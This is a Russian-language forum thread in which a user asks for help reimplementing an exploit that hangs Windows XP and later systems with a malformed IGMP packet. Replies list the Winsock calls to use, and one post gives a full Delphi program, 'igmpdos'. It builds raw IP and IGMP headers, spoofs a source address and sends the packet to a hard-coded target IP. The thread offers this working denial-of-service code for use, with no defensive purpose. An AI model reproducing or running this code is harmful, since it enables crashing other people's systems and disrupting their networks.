В этой http://www.wasm.ru/forum/viewtopic.php?id=14588 теме SnugForce писал, что систему WinXP+ можно завесить с помощью "пакета IGMP с полем длины = 0". Я нашел сплоит, но хотелось бы реализовать его самому, собственно мне нужна помощь. Выложу сплоит, может поможет... Не получается сплоит выложить
n0name Дело в том, что я незнаю ни функций, ни порядкав котором их надо использовать, для реализации этой задачи Вот и прошу помощи.
Отсылка идет через RAW-сокеты. Формируешь пакет и устанавливаешь (по крайней мере как написанно) длину пакета в нуль. Примеры RAW-UDP есть на delphiworld.narod.ru
Это все хорошо, а в каком порядке их заюзать? Выпишите мне пожалуйста порядок, а с функциями я попробую сам разобраться (до этого я не имел дела с сетевыми приложениями)
WSAStartup(); socket(); connect(); sendto(); closesocket(); Правда как тебе правильно сказали сначала надо сформировать пакет.
n0name Спасибо, это уже несколько проясняет ситуацию, теперь остается вопрос как формировать пакет и получить доступ к RAW-сокетам
n0name есть исходники по формированию самого пакета на фасме кинь пож та если приложение без окна как у тебя идёт синхронизация
нету. в отдельном потоке через события(WSAEventSelect), когда данные приходят вызываю callback функцию.
Код (Text): program igmpdos; uses Windows, WinSock2; type TIPHeader = packed record VerLen: Byte; ToS: Byte; TotalLen: WORD; UID: WORD; Flags: WORD; TTL: Byte; Protocol: Byte; ChkSum: WORD; SourceIP: DWORD; DestIP: DWORD; Options: array [0..1] of WORD; end; TIGMPHeader = packed record pType: Byte; Code: Byte; ChkSum: WORD; Group: DWORD; Resv: Byte; QQIC: Byte; Num: WORD; addes: DWORD; end; TWordAr = array [0..0] of WORD; PWordAr = ^TWordAr; function ChkSum(pData: PWordAr; Size: DWORD): WORD; var res: DWORD; i: Integer; begin res := 0; i := 0; while (size > 1) do begin res := res + pData[i]; size := size - 2; inc(i); end; if (size = 1) then res := res + pData[i]; res := (res shr 16) + (res and $FFFF); res := res + (res shr 16); result := WORD(not res); end; procedure SendFuckIGMP(DestIP, SorceIP: DWORD); var WSAData: TWSAData; Sock: TSocket; SockIn: TSockAddrIn; flag: DWORD; IpHdr: TIPHeader; IgmpHdr: TIGMPHeader; Buffer: Pointer; begin WSAStartup($202, WSAData); Sock := WSASocket(AF_INET, SOCK_RAW, IPPROTO_RAW, nil, 0, 1); flag := 1; setsockopt(Sock, IPPROTO_IP, IP_HDRINCL, @flag, 4); ZeroMemory(@SockIn, sizeof(SockIn)); SockIn.sin_family := AF_INET; SockIn.sin_port := htons(99); SockIn.sin_addr.S_addr := DestIP; ZeroMemory(@IpHdr, sizeof(IpHdr)); with IpHdr do begin VerLen := 64 + sizeof(IpHdr) div 4; TotalLen := htons(sizeof(IpHdr) + sizeof(IgmpHdr)); TTL := 128; Protocol := IPPROTO_IGMP; SourceIP := SourceIP; DestIP := DestIP; end; ZeroMemory(@IgmpHdr, sizeof(IgmpHdr)); with IgmpHdr do begin pType := 17; Code := 5; Num := htons(1); addes := DestIP; end; flag := sizeof(IpHdr) + sizeof(IgmpHdr) + 4; Buffer := GetMemory(flag); ZeroMemory(Buffer, flag); CopyMemory(Buffer, @IgmpHdr, sizeof(IgmpHdr)); IgmpHdr.ChkSum := ChkSum(Buffer, sizeof(IgmpHdr)); CopyMemory(Buffer, @IpHdr, sizeof(IpHdr)); CopyMemory(Pointer(DWORD(Buffer) + sizeof(IpHdr)), @IgmpHdr, sizeof(IgmpHdr)); IpHdr.ChkSum := htons(ChkSum(Buffer, sizeof(IpHdr) + sizeof(IgmpHdr))); CopyMemory(Buffer, @IpHdr, sizeof(IpHdr)); sendto(sock, Buffer^, sizeof(IpHdr) + sizeof(IgmpHdr), 0, SockIn, sizeof(SockIn)); FreeMemory(Buffer); closesocket(Sock); WSACleanup; end; begin SendFuckIGMP(inet_addr('192.168.9.160'), inet_addr('10.0.3.1')); end.
Cyber_Mozg Мда, толи люди бестолковые пошли, толи слепые... n0name Думал легко перевести будет, но не тут то было
SiruS в настройках вижуала включи генерацию asm листинга и всё подправишь и всё в ожуре как тебе подсказал(а) Nata